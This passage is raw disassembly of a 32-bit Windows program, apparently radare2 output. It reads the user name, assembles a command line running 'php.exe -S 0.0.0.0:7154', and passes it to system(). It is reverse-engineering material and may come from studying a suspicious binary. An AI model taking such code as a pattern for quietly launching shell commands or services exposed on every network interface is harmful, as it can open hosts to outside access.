jb 0x405cbb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d18
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor eax, eax
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], ax
mov byte [ebp - 4], 0x66
mov ecx, dword [ebp - 0x500]
cmp ecx, 8
jb 0x405d28
mov edx, dword [ebp - 0x514]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405d1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405d1e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409ef6
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x504], 0
cmp dword [ebp - 0x3f8], ecx
mov word [ebp - 0x514], cx
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x500], 7
jne 0x405d81
call fcn.004031b0
lea ecx, [ebp - 0x350]
call fcn.00406e90
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409eb8
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x350]
call fcn.00407fd0
push 0x407c70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x448]
call fcn.00406da0
lea ecx, [ebp - 0x448]
call fcn.004031b0
lea ecx, [ebp - 0x350]
call fcn.00406e90
lea ecx, [ebp - 0x368]
call fcn.00407020
lea eax, [ebp - 0x320]
mov dword [ebp - 4], 0x67
push eax
lea eax, [ebp - 0x31c]
mov dword [ebp - 0x320], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x368]
test eax, eax
je 0x405dfd
lea eax, [ebp - 0x31c]
push eax
jmp 0x405e02
push str.unnamed
call fcn.00406e60
sub esp, 8
lea ecx, [ebp - 0x4fc]
call fcn.00407f60
sub esp, 8
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x4e4]
call fcn.00407cf0
push ecx
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x69
push eax
lea ecx, [ebp - 0x578]
call fcn.00407ca0
lea ecx, [ebp - 0x4e4]
mov byte [ebp - 4], 0x6a
push ecx
mov edx, eax
lea ecx, [ebp - 0x560]
call fcn.00401d20
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 0x6b
push ecx
mov edx, eax
lea ecx, [ebp - 0x548]
call fcn.00401d20
add esp, 8
lea ecx, [ebp - 0x638]
mov byte [ebp - 4], 0x6c
push ecx
mov ecx, eax
call fcn.00401d00
mov esi, eax
push ecx
push str.php.exe
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0x6d
call fcn.00407ca0
sub esp, 8
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x52c]
call fcn.00407cf0
push ecx
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x6f
push eax
lea ecx, [ebp - 0x620]
call fcn.00407ca0
lea ecx, [ebp - 0x52c]
mov byte [ebp - 4], 0x70
push ecx
mov edx, eax
lea ecx, [ebp - 0x608]
call fcn.00401d20
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0x71
push ecx
mov edx, eax
lea ecx, [ebp - 0x5f0]
call fcn.00401d20
add esp, 8
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x72
push ecx
mov ecx, eax
call fcn.00401d00
mov byte [ebp - 4], 0x73
mov edx, eax
push str.___S_0.0.0.0:7154__
lea ecx, [ebp - 0x49c]
call fcn.00407bc0
push esi
mov edx, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x484]
call fcn.00407f40
push 0x40c8a8
mov edx, eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x338]
call fcn.00407bc0
mov esi, eax
lea eax, [ebp - 0x368]
mov byte [ebp - 4], 0x76
push eax
lea ecx, [ebp - 0x46c]
call fcn.00407d20
push str.__ip___n_
mov edx, eax
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x350]
call fcn.00407bc0
push esi
mov edx, eax
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x388]
call fcn.00407f40
add esp, 0x18
lea ecx, [ebp - 0x350]
call fcn.00406e90
lea ecx, [ebp - 0x46c]
call fcn.00406e90
lea ecx, [ebp - 0x338]
call fcn.00406e90
lea ecx, [ebp - 0x484]
call fcn.00406e90
lea ecx, [ebp - 0x49c]
call fcn.00406e90
lea ecx, [ebp - 0x5d8]
call fcn.00406e90
lea ecx, [ebp - 0x5f0]
call fcn.00401d90
lea ecx, [ebp - 0x608]
call fcn.00401d90
lea ecx, [ebp - 0x620]
call fcn.00401d90
lea ecx, [ebp - 0x52c]
call fcn.00401d90
lea ecx, [ebp - 0x514]
call fcn.00401d90
lea ecx, [ebp - 0x638]
call fcn.00406e90
lea ecx, [ebp - 0x548]
call fcn.00401d90
lea ecx, [ebp - 0x560]
call fcn.00401d90
lea ecx, [ebp - 0x578]
call fcn.00401d90
lea ecx, [ebp - 0x4e4]
call fcn.00401d90
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 0x8a
call fcn.00401d90
push 0xb0
lea eax, [ebp - 0x448]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x4cc]
call fcn.00407ff0
sub esp, 8
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x4b4]
call fcn.00407cf0
push ecx
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x8c
push eax
lea ecx, [ebp - 0x5c0]
call fcn.00407ca0
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 4], 0x8d
push ecx
mov edx, eax
lea ecx, [ebp - 0x5a8]
call fcn.00401d20
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 4], 0x8e
push ecx
mov edx, eax
lea ecx, [ebp - 0x590]
call fcn.00401d20
push ecx
push eax
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x8f
call fcn.00407f90
lea ecx, [ebp - 0x590]
call fcn.00401d90
lea ecx, [ebp - 0x5a8]
call fcn.00401d90
lea ecx, [ebp - 0x5c0]
call fcn.00401d90
lea ecx, [ebp - 0x4b4]
call fcn.00401d90
lea ecx, [ebp - 0x4cc]
mov byte [ebp - 4], 0x95
call fcn.00401d90
cmp dword [ebp - 0x3f8], 0
lea ecx, [ebp - 0x448]
jne 0x406138
call fcn.004031b0
lea ecx, [ebp - 0x388]
call fcn.00406e90
lea ecx, [ebp - 0x368]
jmp 0x405d5e
lea edx, [ebp - 0x388]
call fcn.00407fd0
push 0x407c70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x448]
call fcn.00406da0
lea ecx, [ebp - 0x448]
call fcn.004031b0
lea ecx, [ebp - 0x388]
call fcn.00406e90
lea ecx, [ebp - 0x368]
mov dword [ebp - 4], 0xffffffff
call fcn.00406e90
sub esp, 8
lea ecx, [ebp - 0x514]
call fcn.00407ff0
sub esp, 8
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 0x52c]
call fcn.00407cf0
push ecx
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x97
push eax
lea ecx, [ebp - 0x548]
call fcn.00407ca0
lea ecx, [ebp - 0x52c]
mov byte [ebp - 4], 0x98
push ecx
mov edx, eax
lea ecx, [ebp - 0x560]
call fcn.00401d20
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0x99
push ecx
mov edx, eax
lea ecx, [ebp - 0x578]
call fcn.00401d20
add esp, 8
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x9a
push ecx
mov ecx, eax
call fcn.00401d00
push eax
mov edx, 0x40c8a8
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x5a8]
call fcn.00407e40
push 0x40c8a8
mov edx, eax
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x5c0]
call fcn.00407bc0
add esp, 8
mov ecx, eax
call fcn.00406dd0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x5c0]
call fcn.00406e90
lea ecx, [ebp - 0x5a8]
call fcn.00406e90
lea ecx, [ebp - 0x590]
call fcn.00406e90
lea ecx, [ebp - 0x578]
call fcn.00401d90
lea ecx, [ebp - 0x560]
call fcn.00401d90
lea ecx, [ebp - 0x548]
call fcn.00401d90
lea ecx, [ebp - 0x52c]
call fcn.00401d90
lea ecx, [ebp - 0x514]
call fcn.00401d90
xor eax, eax
jmp 0x405d66
lea ecx, [ebp - 0x368]
mov edx, eax
push ecx
mov ecx, str.directory_iterator::directory_iterator
call fcn.00402840
int3